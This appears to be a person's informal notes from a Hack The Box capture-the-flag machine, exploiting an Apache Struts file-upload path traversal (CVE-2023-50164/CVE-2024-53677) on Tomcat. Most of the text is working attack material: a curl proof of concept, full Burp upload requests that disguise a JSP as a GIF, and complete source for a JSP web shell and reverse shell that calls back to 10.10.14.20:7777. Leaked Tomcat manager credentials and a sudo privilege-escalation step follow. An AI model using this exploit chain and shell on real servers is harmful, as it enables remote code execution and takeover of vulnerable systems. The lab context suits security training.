form id=“upload” name=“upload” action=“/upload.action;jsessionid=300B99F54DFABC14CF322AA0D2B93FB6” method=“post” enctype=“multipart/form-data”> class=“mb-3 file-group”> for=“upload” class=“form-label”>Choose an image to upload: type=“file” name=“upload” id=“upload” class=“form-control”/> lass=“d-grid”type=“submit” value=“Upload” id=“upload_0” class=“btn btn-primary”/> iv
this is post endpoint for file upload
/upload.action;jsessionid=300B99F54DFABC14CF322AA0D2B93FB6
nginx is being used as a reverse proxy
apache tomcat is the actual server running the java app
jsessionid being passed in url → can i fuzz it?? is there a format for them idk
I think this the CVE
Cybersecurity Advisory: Apache Struts Vulnerability CVE-2023-50164
this docker container image of tomcat is vulnerable to rce with that CVE
https://github.com/Trackflaw/CVE-2023-50164-ApacheStruts2-Docker/blob/main/context.xml
this is what i used https://github.com/snyk-labs/CVE-2023-50164-POC
POC
curl \
http://localhost:9999/struts-vuln-poc/upload.action \
-F "Upload=@./payload/rogue.jsp" \
-F "uploadFileName=../src/main/webapp/rogue.jsp"
gif file top GIF89aÜ�T�÷�F@?F04U;7 ;79zxw 3/3ULIÜÝà4*&º¥*&)356e[Zpll�J#”���.)/RD! ^.&K0” %91,0èèêǾ¸&äáÝÒµ¥YB⇒ArL:çåäÖÔÒµ³¶HGM¾º·ÇÇÊx«uf²m¤oOª§§TSSôòô«¡~h[Ç©çÝÑ÷õø¤bNC!kVK¡lD5aDéοld]ÒÎʨzfjS¾®zRÌ¡Æiz ýûüTU[rV<öô÷+&0
this is the absolute path of the webapp
/usr/local/tomcat/webapps/ROOT/
this file path? ../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/files.gif
WEB-INF/upload.jsp
this is where files get uploaded http://strutted.htb:8080/uploads/20250805_225944/files.gif
imma keep looking
this is the version of struts in library struts2-core-6.3.0.1.jar vulnerabilities
CVE-2023-50164
CVE-2024-53677 → newer one this should b the cve
I am using the fileUpload Interceptor so the last CVE should work
now I need to bypass validation checks and upload jsp for rev shell
THIS WORKED ON BURP GOT DIRECTORY TRAVERSAL
holly I got it!!!!!!!!!!!!!!!!!!!!
POST /upload.action HTTP/1.1
Host: strutted.htb:8080
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryq8xuqupv9fo4psw6
Content-Length: 577
------WebKitFormBoundaryq8xuqupv9fo4psw6
Content-Disposition: form-data; name="Upload"; filename="file.gif"
Content-Type: image/gif
GIF89aÜ�T�÷�F@?F04U;7 ;79zxw 3/3ULIÜÝà4*&º¥*&)356e[Zpll�J#"���.)/RD! ^.&K0'' %91,0èèêǾ¸&äáÝÒµ¥YB=>ArL:çåäÖÔÒµ³¶HGM¾º·ÇÇÊx«uf²m¤oOª§§TSSôòô«¡~h[Ç©çÝÑ÷õø¤bNC!kVK¡lD5aDéοld]ÃÃèzfÂjS¾Â®zRáÂÃÂizÂ
ÂýûüTU[rV<öô÷+&0
------WebKitFormBoundaryq8xuqupv9fo4psw6
Content-Disposition: form-data; name="uploadFileName"
../../file.gif
------WebKitFormBoundaryq8xuqupv9fo4psw6--
magic file number GIF89aÜ
java web 2 way from rev shells worked!!!
full burp post request
POST /upload.action HTTP/1.1
Host: strutted.htb:80
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryq8xuqupv9fo4psw6
Content-Length: 3850
------WebKitFormBoundaryq8xuqupv9fo4psw6
Content-Disposition: form-data; name="Upload"; filename="file.gif"
Content-Type: image/gif
GIF89a�<%
/*
* Usage: This is a 2 way shell, one web shell and a reverse shell. First, it will try to connect to a listener (atacker machine), with the IP and Port specified at the end of the file.
* If it cannot connect, an HTML will prompt and you can input commands (sh/cmd) there and it will prompts the output in the HTML.
* Note that this last functionality is slow, so the first one (reverse shell) is recommended. Each time the button "send" is clicked, it will try to connect to the reverse shell again (apart from executing
* the command specified in the HTML form). This is to avoid to keep it simple.
*/
%>
<%@page import="java.lang.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%@page import="java.util.*"%>
<html>
<head>
<title>jrshell</title>
</head>
<body>
<form METHOD="POST" NAME="myform" ACTION="">
<input TYPE="text" NAME="shell">
<input TYPE="submit" VALUE="Send">
</form>
<pre>
<%
// Define the OS
String shellPath = null;
try
{
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
shellPath = new String("/bin/sh");
} else {
shellPath = new String("cmd.exe");
}
} catch( Exception e ){}
// INNER HTML PART
if (request.getParameter("shell") != null) {
out.println("Command: " + request.getParameter("shell") + "\n<BR>");
Process p;
if (shellPath.equals("cmd.exe"))
p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("shell"));
else
p = Runtime.getRuntime().exec("/bin/sh -c " + request.getParameter("shell"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
// TCP PORT PART
class StreamConnector extends Thread
{
InputStream wz;
OutputStream yr;
StreamConnector( InputStream wz, OutputStream yr ) {
this.wz = wz;
this.yr = yr;
}
public void run()
{
BufferedReader r = null;
BufferedWriter w = null;
try
{
r = new BufferedReader(new InputStreamReader(wz));
w = new BufferedWriter(new OutputStreamWriter(yr));
char buffer[] = new char[8192];
int length;
while( ( length = r.read( buffer, 0, buffer.length ) ) > 0 )
{
w.write( buffer, 0, length );
w.flush();
}
} catch( Exception e ){}
try
{
if( r != null )
r.close();
if( w != null )
w.close();
} catch( Exception e ){}
}
}
`try {`
`Socket socket = new Socket( "10.10.14.20", 7777 ); // Replace with wanted ip and port`
`Process process = Runtime.getRuntime().exec( shellPath );`
`new StreamConnector(process.getInputStream(), socket.getOutputStream()).start();`
`new StreamConnector(socket.getInputStream(), process.getOutputStream()).start();`
`out.println("port opened on " + socket);`
`} catch( Exception e ) {}`
%>
</pre>
</body>
</html>
------WebKitFormBoundaryq8xuqupv9fo4psw6
Content-Disposition: form-data; name="uploadFileName"
../../file.jsp
------WebKitFormBoundaryq8xuqupv9fo4psw6--
<!--
<user username="admin" password="<must-be-changed>" roles="manager-gui"/>
<user username="robot" password="<must-be-changed>" roles="manager-script"/>
<role rolename="manager-gui"/>
<role rolename="admin-gui"/>
<user username="admin" password="IT14d6SSP81k" roles="manager-gui,admin-gui"/>
--->
<!--
Built-in Tomcat manager roles:
- manager-gui - allows access to the HTML GUI and the status pages
- manager-script - allows access to the HTTP API and the status pages
*whats this*
<!-- Define an AJP 1.3 Connector on port 8009 -->
<!--
<Connector protocol="AJP/1.3"
address="::1"
port="8009"
redirectPort="8443" />
-->
james:x:1000:1000:Network Administrator:/home/james:/bin/bash
sudo -l
root was super easy